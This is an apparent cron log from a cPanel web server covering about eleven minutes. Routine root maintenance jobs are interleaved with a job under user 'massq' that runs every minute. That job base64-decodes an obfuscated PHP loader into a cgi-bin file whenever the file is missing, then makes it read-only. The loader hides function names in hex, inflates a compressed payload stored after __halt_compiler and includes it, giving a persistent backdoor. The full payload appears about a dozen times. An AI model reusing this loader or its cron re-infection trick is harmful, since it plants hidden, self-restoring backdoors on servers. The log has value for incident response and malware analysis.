Sep 11 10:56:01 server CROND[14933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:56:01 server CROND[14934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:56:01 server CROND[14935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:57:01 server CROND[15320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:57:01 server CROND[15321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:57:01 server CROND[15319]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 10:57:01 server CROND[15322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:58:01 server CROND[15692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:58:01 server CROND[15691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:58:01 server CROND[15690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:59:01 server CROND[16063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:59:01 server CROND[16064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:59:01 server CROND[16065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:00:01 server CROND[16541]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:00:01 server CROND[16555]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:00:01 server CROND[16559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:00:01 server CROND[16558]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:00:01 server CROND[16561]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:00:01 server CROND[16560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:00:01 server CROND[16563]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 11:00:01 server CROND[16562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:00:01 server CROND[16565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:01:01 server CROND[17380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:01:01 server CROND[17381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:01:01 server CROND[17382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:01:01 server CROND[17383]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 11:01:01 server run-parts(/etc/cron.hourly)[17383]: starting 0anacron
Sep 11 11:01:01 server run-parts(/etc/cron.hourly)[17402]: finished 0anacron
Sep 11 11:02:01 server CROND[17772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:02:01 server CROND[17773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:02:01 server CROND[17774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:03:01 server CROND[18139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:03:01 server CROND[18140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:03:01 server CROND[18141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:04:01 server CROND[18506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:04:01 server CROND[18507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:04:01 server CROND[18508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:05:01 server CROND[18936]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:05:01 server CROND[18935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:05:01 server CROND[18939]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 11:05:01 server CROND[18940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:05:01 server CROND[18941]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:05:01 server CROND[18945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:05:01 server CROND[18944]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 11:05:01 server CROND[18942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:05:01 server CROND[18943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:06:01 server CROND[19864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:06:01 server CROND[19865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:06:01 server CROND[19866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:07:01 server CROND[20471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:07:01 server CROND[20472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:07:01 server CROND[20473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
